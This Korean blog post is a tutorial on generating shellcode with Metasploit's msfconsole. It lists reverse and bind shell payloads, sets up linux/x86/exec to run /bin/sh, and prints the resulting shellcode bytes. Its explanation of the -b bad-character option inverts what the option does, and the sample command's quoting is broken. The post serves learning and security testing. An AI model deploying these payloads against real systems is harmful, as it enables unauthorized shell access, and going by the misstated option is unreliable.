metasploit 을 이용하여 shellcode 만드는 방법을 소개하겠다.
# msfconsole
# show payloads
show payloads 명령을 실행하면 다음과 같이 많은 os 환경이나 목적에 따라 여러 가지 shellcode 목록을 볼 수 있다.
linux/x64/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline
linux/x64/shell_bind_tcp_random_port normal Linux Command Shell, Bind TCP Random Port Inline
linux/x64/shell_find_port normal Linux Command Shell, Find Port Inline
linux/x64/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline
linux/x86/adduser normal Linux Add User
linux/x86/chmod normal Linux Chmod
linux/x86/exec normal Linux Execute Command
linux/x86/meterpreter/bind_ipv6_tcp normal Linux Meterpreter, Bind IPv6 TCP Stager (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid normal Linux Meterpreter, Bind IPv6 TCP Stager with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp normal Linux Meterpreter, Bind TCP Stager
linux/x86/meterpreter/bind_tcp normal Linux Meterpreter, Bind TCP Stager (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid normal Linux Meterpreter, Bind TCP Stager with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag normal Linux Meterpreter, Find Tag Stager
linux/x86/meterpreter/reverse_ipv6_tcp normal Linux Meterpreter, Reverse TCP Stager (IPv6)
linux/x86/meterpreter/reverse_nonx_tcp normal Linux Meterpreter, Reverse TCP Stager
linux/x86/meterpreter/reverse_tcp normal Linux Meterpreter, Reverse TCP Stager
linux/x86/meterpreter/reverse_tcp_uuid normal Linux Meterpreter, Reverse TCP Stager
linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP
linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline
linux/x86/read_file normal Linux Read File
....
....
예를 들어, 32bit linux 환경에서의 "/bin/sh" 명령을 수행하는 shellcode 를 만들고 싶다고 하면..
# use /linux/x86/exec
# show options
Module options (payload/linux/x86/exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
show options 명령을 통해 셋팅해야 할 값들을 확인할 수 있다.
# set CMD /bin/sh
Module options (payload/linux/x86/exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
/bin/sh 명령으로 설정해주고 show options 을 확인해보면 다음과 같이 현재 셋팅 상태를 확인할 수 있다.
# generate
# linux/x86/exec - 43 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/bin/sh
buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +
"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +
"\x80"
정상적으로 shellcode 를 출력해준다. 만약 "\x00" 이나 "\xff" 가 들어있는 shellcode를 만들고 싶다면,
# generate -b "\x00"\xff" // -b 옵션을 사용
※ shellcode "0x00", "0xff"
만약 shellcode에 nullbyte(0x00) 가 있을 경우 프로그램의 문자열의 끝을 알리는 NULL 로 간주하여 실행을 멈출 수 있다.
그리고 bash 구 버전에서는 0xff 를 인식하지 못하는 버그가 있다.
'system' 카테고리의 다른 글
difference system call and library function (0) | 2016.04.17 |
---|---|
ltrace사용법 (0) | 2016.04.17 |
rp(find rop gadget) (0) | 2016.03.19 |
checksec.sh (0) | 2016.03.17 |
Easy RM to MP3 Converter Exploit (0) | 2016.03.10 |